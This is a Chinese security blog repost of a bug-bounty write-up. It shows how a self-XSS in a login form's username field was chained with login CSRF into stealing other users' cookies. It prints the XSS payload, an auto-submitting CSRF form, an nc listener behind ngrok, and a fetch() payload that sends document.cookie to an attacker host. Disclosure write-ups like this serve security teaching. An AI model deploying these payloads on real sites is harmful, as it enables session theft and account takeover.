从Self XSS 到账户接管

admin 2023年12月22日16:21:21评论30 views字数 2075阅读6分55秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。

背景介绍

今天分享一位白帽小哥在H1上将一处Self XSS升级为账户接管的漏洞过程。由于披露原则,目标网站以下统称为“https://reacted.com” 。

发现过程

在对目标站点进行测试时,有一个登录功能,像往常一样,白帽小哥尝试使用响应操作、默认凭据和SQL注入来绕过登录,但都未成功,于是小哥开始检查源代码,发现刚刚输入的用户名打印在了Value属性中。

从Self XSS 到账户接管

于是尝试在用户名中注入双引号("),幸运的是,该网站没有对其进行过滤。

从Self XSS 到账户接管

于是构造xss payload:

"> <svg/onload=alert("XSS")>

从Self XSS 到账户接管

成功弹窗,但它仅仅只是一个Self XSS,危害并不大。

漏洞升级

通过查看Burp Suite,在登录时的请求抓包:

从Self XSS 到账户接管

发现没有针对CSRF进行保护。于是尝试使用CSRF将Self XSS升级为反射型XSS,Payload如下:


<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="&#x22;&#x20;><svg/onmouseover=alert(1)&#x20;&#x22;>
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script>
</body>
<html>
generic
634 Bytes

© Guge's Blog

从Self XSS 到账户接管

再次成功!那么既然有了反射型XSS,那就意味着可以获取其他人的Cookie了。

首先开启Ngrok:

ngrok http 80

然后开启监听:

sudo nc -nlvp 80

在用户名中使用了以下Payload:


&#x22;&#x20;> <script>&#x0a;fetch(‘https://<ngrok-Domain>', { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });&#x0a;</script>&#x20;&#x22;
" >('https://',{ method:'POST',mode:'no-cors',body:document.cookie }); "
generic
219 Bytes

© Guge's Blog

其中" 是html编码的双引号和空格。上面的payload用于检索用户的Cookie并将其发送到Ngrok。因此最终的Payload长下面这样:


<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="&#x22;&#x20;> <script>&#x0a;fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });&#x0a;</script>&#x20;&#x22;"/>
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script>
</body>
<html>
generic
650 Bytes

© Guge's Blog

从Self XSS 到账户接管

截图中可以看到,成功获得了他人的Cookie信息。

原文始发于微信公众号(骨哥说事):从Self XSS 到账户接管

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月22日16:21:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从Self XSS 到账户接管http://cn-sec.com/archives/2328627.html

发表评论

匿名网友 填写信息